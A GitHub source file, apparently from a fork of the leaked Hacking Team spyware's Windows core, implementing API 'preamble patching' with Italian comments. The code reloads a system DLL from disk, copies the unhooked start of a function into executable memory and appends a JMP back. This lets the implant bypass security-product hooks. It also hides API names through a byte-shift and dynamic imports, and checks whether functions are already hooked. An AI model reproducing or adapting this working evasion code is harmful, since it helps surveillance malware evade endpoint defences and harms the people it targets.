forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHM_PreamblePatch.cpp
172 lines (133 loc) · 3.84 KB
/
HM_PreamblePatch.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#include <Windows.h>
#include "HM_PreamblePatch.h"
#include "HM_SafeProcedures.h"
#include "common.h"
#include "DynamiCall/dynamic_import.h"
// Deve essere globale
LOADED_IMAGE HM_LoadLibrary_li;
// Ritorna il numero di byte letti, oppure 0 in caso di errore.
// La funzione carica e libera (con la NOSTRA HM_LoadLibrary/HM_FreeLibrary)
// la DLL dal disco, la riloca e prende il puntatore alla funzione pFunc.
// In pStub viene messo l'indirizzo di una zona di memoria in cui vengono
// copiati uToRead byte della funzione originale, e sicuramente non hookata,
// e poi viene assemblato un JMP all'indirizzo della DLL originale.
UINT HM_ReadFunction(PCHAR pDll, PCHAR pFunc, UINT uToRead, PBYTE *pStub)
{
int hMod;
UINT uCount = 0, uRet;
PBYTE pPreamble = NULL, pIter = NULL, pCode = NULL;
char *pClear;
if(uToRead == 0 || pDll == NULL || pFunc == NULL)
return 0;
hMod = HM_LoadLibrary(pDll);
if(hMod == 0)
return 0;
pClear = strdup(pFunc);
if (!pClear)
return 0;
shiftBy1(pClear);
pIter = pPreamble = (PBYTE)HM_SafeGetProcAddress((HMODULE)hMod, pClear);
if(pPreamble == 0){
HM_FreeLibrary((PVOID)hMod);
SAFE_FREE(pClear);
return 0;
}
//while(uCount < uToRead && uCount < uToRead + BYTE_READ_THRESHOLD){
while(uCount < uToRead){
uRet = HM_sCodeAlign(pIter);
uCount += uRet;
pIter += uRet;
}
// +5 perche' dobbiamo allocare anche lo spazio per il JMP di ritorno
*pStub = (PBYTE)HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, uCount + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(*pStub == 0){
HM_FreeLibrary((PVOID)hMod);
SAFE_FREE(pClear);
return 0;
}
uCount = 0;
pIter = pPreamble;
pCode = *pStub;
//while(uCount < uToRead && uCount < uToRead + BYTE_READ_THRESHOLD){
while(uCount < uToRead){
uRet = HM_sCodeAlign(pIter);
memcpy(pCode, pIter, uRet);
uCount += uRet;
pIter += uRet;
pCode += uRet;
}
HM_FreeLibrary((PVOID)hMod);
if (!HM_AssembleReturnJump(pDll, pClear, uCount, pCode)) {
// XXX ho aggiunto la free
VirtualFree(*pStub, 0, MEM_RELEASE);
*pStub = NULL;
SAFE_FREE(pClear);
return 0;
}
SAFE_FREE(pClear);
return uCount;
}
// Torna FALSE in caso di errore, TRUE altrimenti.
// Questa funzione carica pDll, trova l'indirizzo di pFunc e scrive
// dentro pCode un JMP alla libreria originale.
// La libreria caricata non viene intenzionalmente liberata perche'
// comunque verra' usata dal programma.
BOOL HM_AssembleReturnJump(PCHAR pDll, PCHAR pFunc, UINT uDisp, PBYTE pCode)
{
HMODULE hMod;
PBYTE func;
UINT uOffset;
PUINT uTmp;
if(pDll == NULL || pFunc == NULL || pCode == NULL)
return FALSE;
hMod = LoadLibrary(pDll);
if(hMod == NULL)
return FALSE;
func = (PBYTE)HM_SafeGetProcAddress(hMod, pFunc);
if(func == NULL)
return FALSE;
func += uDisp;
uOffset = func - pCode - 5;
*pCode = 0xE9; // JMP
pCode++;
uTmp = (UINT *)pCode; // Indirizzo
*uTmp = uOffset;
return TRUE;
}
int HM_LoadLibrary(PCHAR pPath)
{
CHAR name[MAX_PATH + 1] = {0};
if(FNC(MapAndLoad)(pPath, NULL, &HM_LoadLibrary_li, TRUE, TRUE) == FALSE)
return 0;
// Inizializza il path per la loadDll()
name[0] = '\\';
strncat_s(name, MAX_PATH, pPath, strlen(pPath));
return (int)loadDLL(name);
}
int HM_FreeLibrary(PVOID pPtr)
{
if(pPtr == NULL)
return 0;
FNC(VirtualFreeEx)(FNC(GetCurrentProcess)(), pPtr, 0, MEM_RELEASE);
return FNC(UnMapAndLoad)(&HM_LoadLibrary_li);
}
// Il nome della funzione deve essere shiftato di 1
BOOL HM_IsWrapped(PCHAR pDll, PCHAR pFunc)
{
PBYTE func;
char *pClear;
pClear = strdup(pFunc);
if (!pClear)
return TRUE;
shiftBy1(pClear);
func = (PBYTE)HM_SafeGetProcAddress(GetModuleHandle(pDll), pClear);
SAFE_FREE(pClear);
if (func == NULL)
return TRUE;
if(*func == 0xE8 || *func == 0xE9) { // JMP e CALL
if (func[5]==0x90 && func[6]==0x90 && func[7]==0x90 && func[8]==0x90 && func[9]==0x90)
return FALSE; // Caso di Blink (182)
return TRUE;
}
return FALSE;
}